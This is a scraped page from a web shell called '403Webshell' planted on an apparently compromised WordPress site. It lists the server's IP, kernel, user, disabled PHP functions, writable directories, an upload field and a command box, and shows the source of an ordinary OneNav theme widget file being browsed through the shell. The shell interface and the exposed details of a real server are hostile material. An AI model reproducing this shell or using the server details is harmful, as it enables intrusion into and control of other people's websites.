403Webshell
Server IP : 119.36.225.67  /  Your IP : 43.159.78.114
Web Server : nginx/1.28.0
System : Linux 1763701629066 6.8.0-53-generic #55-Ubuntu SMP PREEMPT_DYNAMIC Fri Jan 17 15:37:52 UTC 2025 x86_64
User : www ( 1001)
PHP Version : 8.2.28
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/www.lengcat.cn/wp-content/themes/onenav/inc/widgets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/www.lengcat.cn/wp-content/themes/onenav/inc/widgets/w.hot.api.php
<?php
/*
 * @Author: iowen
 * @Author URI: https://www.iowen.cn/
 * @Date: 2021-11-26 23:51:17
 * @LastEditors: iowen
 * @LastEditTime: 2024-10-07 00:38:23
 * @FilePath: /onenav/inc/widgets/w.hot.api.php
 * @Description: 
 */
if ( ! defined( 'ABSPATH' ) ) { exit; }

$default_data = array(
    'name'      => '百度热点',
    'hot_type'  => 'api',
    'rule_id'   => 100000,
    'icon'      => get_theme_file_uri('/assets/images/hotico/baidu.png'),
    'is_iframe' => 0,
);

IOCF::createWidget('iow_hot_api', array(
    'title'       => 'IO 今日热榜',
    'classname'   => 'io-widget-hot-api',
    'description' => '按条件显示热门网址,可选“浏览数”“点赞收藏数”“评论量”',
    'fields'      => array(
        array(
            'id'      => 'type',
            'type'    => 'button_set',
            'title'   => '显示模式',
            'options' => array(
                'tab'  => 'TAB',
                'card' => '卡片',
            ),
            'inline'  => true,
            'default' => 'tab',
        ),
        array(
            'id'           => 'tabs',
            'type'         => 'group',
            'fields'       => get_hot_list_option($default_data),
            'button_title' => '添加热榜',
        )
    )
));

function iow_hot_api($args, $instance) {
    $type = $instance['type'];
    $tabs = $instance['tabs'];

    if (empty($tabs)) {
        return;
    }
    switch ($type) {
        case 'tab':
            $html = io_get_hot_api_tab_html($tabs);
            break;
        case 'card':
            $html = io_get_hot_api_cards_html($tabs);
            break;
    }
    
    echo $args['before_widget'];
    echo $html;
    //hot_search($instance);
    echo $args['after_widget'];
}


Youez - 2016 - github.com/yon3zu
LinuXploit